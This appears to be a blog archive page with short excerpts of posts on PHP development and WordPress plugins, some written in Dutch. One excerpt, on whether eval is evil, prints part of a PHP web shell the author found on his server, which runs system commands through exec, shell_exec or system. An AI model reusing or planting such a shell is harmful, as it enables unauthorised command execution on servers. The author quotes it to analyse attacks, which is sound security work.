Google App Engine project template for PHP (with Quercus)

So you’re a wanna-be developer who’d love to deploy in the cloud, but you only¬† “know” PHP? Well, as you might already have read elsewhere Caucho, the company behind Resin, has a 100% Java GPL’ed implementation of PHP5 called Quercus that can be used to run PHP on GAE. It took me some time to […]

PHP OAuth extension: trial, error and success

I’ve been experimenting with the PHP OAuth PECL extension over the last few days and initially ran into some small problems getting it to function correctly. So for the sake of making this world wide web an even better place, here are some error-messages you might encounter and what you could do to resolve them: […]

Fun with caching in PHP with APC (and others)

After installing APC, I looked through the documentation on and noticed 3 interesting functions with regards to session-independent data caching in PHP; apc_store; store a variable in cache apc_fetch; retrieve the variable from cache apc_delete; remove the variable from cache When talking about caching, apc_delete might not be that important, as apc_store allows you […]

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje: <?php echo “549821347819481<br>”; $cmd=”id”; $eseguicmd=ex($cmd); echo $eseguicmd.”<br>”; function ex($cfe){ $res = ”; if (!empty($cfe)){ if(function_exists(‘exec’)){ @exec($cfe,$res); $res = join(“\n”,$res); } elseif(function_exists(‘shell_exec’)){ $res = @shell_exec($cfe); } elseif(function_exists(‘system’)){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); […]

PHP kan uw gezondheid ernstige schade berokkenen

PHP is krachtig gereedschap. Net als met een goeie cirkelzaag of een stevige voorhamer kun je met PHP veel goeds, maar ook veel slechts doen. Volgende eenvoudige wijzigingen in php.ini zouden je installatie veel veiliger moeten kunnen maken; Zet “allow_url_fopen” op “off” zodat er met PHP via remote files geen ‘vijandige’ code kan binnengehaald worden. […]

Autoptimize 2.8.2 update “mishap” postmortem

This morning I finally pushed Autoptimize 2.8.2 out of the gates which was a relatively minor release with misc. small improvements/ bugfixes. Only it proved not that minor as it broke some sites after the update, so here’s a quick postmortem. Timeline 7h33 CEST: I pushed out 2.8.2 7h56 CEST: first forum post about a […]

Fix for Elementor 3.1 YouTube not LYTE anymore

Elementor 3.1 came with “refactored YouTube source to use YouTube API in Video widget” which resulted in WP YouTube Lyte not being able to lyten up the YouTubes any more. Below code snippet (consider it beta) hooks into Elementor to fix this regression; Hat tip to Koen for his assistance in digging into Elementor, much […]